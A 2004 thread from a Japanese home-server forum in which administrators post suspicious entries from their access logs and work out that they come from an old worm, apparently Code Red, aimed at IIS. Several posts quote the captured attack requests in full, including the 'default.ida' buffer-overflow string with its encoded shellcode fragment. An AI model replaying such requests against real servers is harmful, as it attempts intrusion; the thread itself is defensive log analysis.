投稿日:2004年03月10日 作成：鷹の巣

No.15131 SEARCH /<90>^Bア^Bア^Bア^Bア 瑞瑞瑞瑞 って何がしたいの?

SEARCH /<90>^Bア^Bア^Bア^Bア 瑞瑞瑞瑞 って何がしたいの?

No.15131 投稿時間:2004年03月10日(Wed) 21:43 投稿者名:帯鯖 URL:

帯鯖@名古屋です。

ゴブサタしています。
集う人が随分かわりましたね。

最近こんな要求があります。今日だけですでに7件。
元ホストこそ違いますが、要求内容が同じなので、ワームか何かのツールだと思いますが…、
何だか分かりません。リクエストは約9キロバイト。オーバーフロー攻撃?

情報をお持ちの方、教えてください。

SEARCH /<90>^Bア^Bア^Bア^Bア^Bア^Bア^Bア^Bア …(以下繰返し)… 瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞 …(以下繰返し) 414 346

同じ攻撃?が私のサーバーログにもありました・・・分からない

No.15133 投稿時間:2004年03月10日(Wed) 23:28 投稿者名:ryujin URL:http://ryujin.info/

同じ攻撃?が私のサーバーログにもありました。

> SEARCH /<90>^Bア^Bア^Bア^Bア^Bア^Bア^Bア^Bア …(以下繰返し)… 瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞 …(以下繰返し) 414 346

> 情報をお持ちの方、教えてください。
何なのでしょうね・・・

別ですが、・・・

No.15158 投稿時間:2004年03月12日(Fri) 22:40 投稿者名:店主のピチュー URL:http://tenpichu.no-ip.com/

> 帯鯖@名古屋です。
こんにちは。

(1日に数回あるので、全部はかけません)
ip6-128.cbn.net.id - - [10/Mar/2004:07:57:33 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
202.57.4.9 - - [10/Mar/2004:12:43:05 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
lhr63.pie.net.pk - - [11/Mar/2004:04:19:42 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
202.201.249.181 - - [11/Mar/2004:13:46:17 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
202.201.249.206 - - [11/Mar/2004:13:52:49 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
202.119.170.155 - - [12/Mar/2004:14:49:54 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
202.119.168.68 - - [12/Mar/2004:16:42:07 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
klg-40-204.tm.net.my - - [12/Mar/2004:18:16:51 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
www.archina.com - - [12/Mar/2004:22:22:50 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281

このようないかにもIISを狙った攻撃が・・・。
関係あるのでしょうか。

これはウイルス。

No.15159 投稿時間:2004年03月12日(Fri) 23:08 投稿者名:stranger URL:

> > 帯鯖@名古屋です。
> こんにちは。
> > (1日に数回あるので、全部はかけません)
> ip6-128.cbn.net.id - - [10/Mar/2004:07:57:33 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281
これは
coderedでしたか、Nimdaウイルス つづりは不確か
いまだに汚染されたパソコンを放置している人がたくさんいますね
古いレスでどなたか ログを取らない設定を開示されてました

参考URL。

No.15166 投稿時間:2004年03月13日(Sat) 03:45 投稿者名:APACHE URL:

> > > 帯鯖@名古屋です。
> > こんにちは。
> > > (1日に数回あるので、全部はかけません)
http://kemuri-net.dip.jp/~server/worm.txt

#適当だけど

ウイルスなんですね。

No.15169 投稿時間:2004年03月13日(Sat) 18:44 投稿者名:店主のピチュー URL:http://tenpichu.no-ip.com/

なるほど。わかりました。
ウイルスとは・・・勉強不足でした。
(しかし、Apacheでよかった。)

相変わらず来ますが心配はなさそうです。

No.15195 投稿時間:2004年03月14日(Sun) 23:08 投稿者名:帯鯖 URL:

帯鯖@名古屋です。

> ryujin さん

<90>^B瑞 のリクエストは、少し止みましたが相変わらず来ています。
近隣 IP から来ているようなので、ワームの可能性が高そうです。

要求自体が少なく、近隣といっても第1オクテットのみ共通ですので、
古いタイプのワームが、近くにたまたまやってきただけかもしれません。

新種ですと、バタバタと多くのホストに感染し、第3オクテットまで共通のホストから来るはずですから、
とりあえずは放置対象でよさそうです。

|目次|掲示板|過去ログ目次|▲頁先頭|